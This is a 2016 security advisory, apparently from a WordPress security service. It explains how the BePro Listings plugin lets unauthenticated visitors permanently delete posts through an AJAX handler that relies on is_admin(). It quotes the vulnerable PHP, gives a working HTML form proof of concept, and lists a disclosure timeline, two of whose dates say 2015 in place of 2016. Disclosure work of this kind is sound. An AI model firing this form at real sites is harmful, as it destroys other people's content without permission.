3 Jun 2016

Post Deletion Vulnerability in BePro Listings

As was mentioned in more details on the post on the other vulnerability we found in the plugin BePro Listing, we recently had a request for a file from the plugin, which indicated that someone might be trying to exploit something in this plugin. While that arbitrary file upload vulnerability is probably what hackers are looking to exploit. The plugin also has a vulnerability that allows anyone to delete posts from a website with this plugin enabled.

The plugin has an AJAX accessible function bepro_ajax_delete_post(), which accessible whether or not someone is logged in to WordPress:

734
735
add_action( 'wp_ajax_bepro_ajax_delete_post', 'bepro_ajax_delete_post' );
add_action( 'wp_ajax_nopriv_bepro_ajax_delete_post', 'bepro_ajax_delete_post' );

The contents of the function are as follows:

733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
//On delete post, also delete the listing from the database and all attachments
function bepro_ajax_delete_post(){
	if(!is_numeric($_POST["post_id"])) exit;
	global $wpdb;
	$post_id = $_POST["post_id"];
	$user_data = wp_get_current_user();
	$post_data = get_post($post_id);
	if(is_admin() || ($post_data->post_author == $user_data->ID)){
		$ans = wp_delete_post( $post_id, true );
		if($ans){$message["status"] = __("Deleted Successfully!","bepro-listings");
		}else{$message["status"] = __("Problem Deleting Listing","bepro-listings");
		}
	}else{
		$message["status"] = __("Problem Deleting Listing","bepro-listings");
	}
	echo json_encode($message);
	exit;
}

The only check done before allowing anyone to deleting a post is this:

740
if(is_admin() || ($post_data->post_author == $user_data->ID)){

If you follow our blog you might have already spotted this issue with this, since in one of our security tips for plugin developers we discussed the fact that the function is_admin() doesn’t check if someone is an Administrator level user. And more importantly in this case, the function will “return true when trying to make an ajax request (both front-end and back-end requests)“.  Since the function is an AJAX request that check will always return true, leading to the post be deleted.

Making the situation worse, the post will not be placed in the Trash when deleting it this way.

Proof of Concept

Make sure to replace “[path to WordPress]” with the location of WordPress and “[post ID]” with the ID of the post you are trying to delete.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php"; method="POST">
<input type="hidden" name="action" value="bepro_ajax_delete_post" />
<input type="hidden" name="post_id" value="[post ID]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 6/2/2016 – Developer notified.
  • 6/3/2015 – WordPress.org Plugin Directory notified.
  • 6/3/2015 – Plugin removed from the Plugin Directory.
  • 7/6/2016 – Version 2.2.0023 released, which fixes vulnerability.

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published. Required fields are marked *